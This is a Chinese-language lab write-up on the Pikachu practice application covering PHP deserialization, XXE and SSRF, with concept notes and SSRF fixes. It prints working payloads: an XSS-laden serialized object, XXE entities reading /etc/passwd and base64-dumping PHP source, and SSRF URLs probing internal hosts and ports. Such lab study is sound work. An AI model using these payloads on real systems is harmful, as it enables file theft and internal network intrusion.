pikachu------PHP反序列化、XXE、SSRF

PHP反序列化



在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

   常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用


      

 O 0

输入O:1:“S”:1:{s:4:“test”;s:29:"<script>alert(‘xss’)</script>";}

       O:1:"s":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

 

代码分析

没有对用户传进来的参数做过滤,直接反序列化。

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。


现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

XML概念:
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。但是XML和HTML有明显区别如下:

XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML结构:

第一部分:XML声明部分
<?xml version="1.0"?>

第二部分:文档类型定义 DTD
<!DOCTYPE note[ 
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>

第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>



 其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD。



XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,

表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种,具体的示例可以看下面的

xxe漏洞:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php



外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

1、

payload&hacker;是用来将hacker这个实体进行调用,   hacker实体成功在前端回显。

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>

 

 2、

外部实体 system关键字 指定外部实体 读取出来赋值给xee 

外部实体  支持http、file、ftp协议

如果一个实体支持接收XML数据、且没有对xml数据做安全上得措施、就可能导致xml漏洞

外部实体payload

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

 

返回结果

3、如果下linux下  可以查看信息

<?xml version="1.0"  encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<name>&xxe;</name>

查看源码

XXE漏洞  俩个点:  1、没有禁止解析xml外部实体内容 2、没有做任何过滤

三!
SSRF(Server-Side Request Forgery:服务器端请求伪造)

SSRF-----url

http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

将url参数的值设为https://192.168.50.100/sqli-labs得到返回页面,可知已访问了sqli-labs的资源

 代码分析
curl 模拟浏览器请求的,比如获取获取远程的网页,文件等,虽然可以使用file_get_contents函数 但是 curl支持cookie 自定义浏览器类型,来源 ip等等。

http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.50.100:8080   可以测试8080端口是否是打开状态

curl支持多种协议

SSRF-(file_get_contents)

 

 http://192.168.50.100/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

url换成192.168.50.100/sqli-labs

 这里file_get_contents函数还有一个文件包含漏洞,利用php伪协议读取文件的源码,url赋值php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php读取源码

http://192.168.50.100/pikachu/vul/ssrf/ssrf_curl.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

就可以把ssrf.php代码转换成base64得转码返回到前端       利用工具转码回去 即可查看源码

代码分析
file_get_contents也可以抓取远程网页内容,详情google。


ssrf修复

1.白名单
2.对返回内容进行识别
3.需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用
CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致
如果curl爬取过程中,设置CURLOPT_FOLLOWLOCATION为true,则会跟踪爬取重定向页面,否则,不会跟踪重定向页面

原文地址:https://www.cnblogs.com/xingyuner/p/12314081.html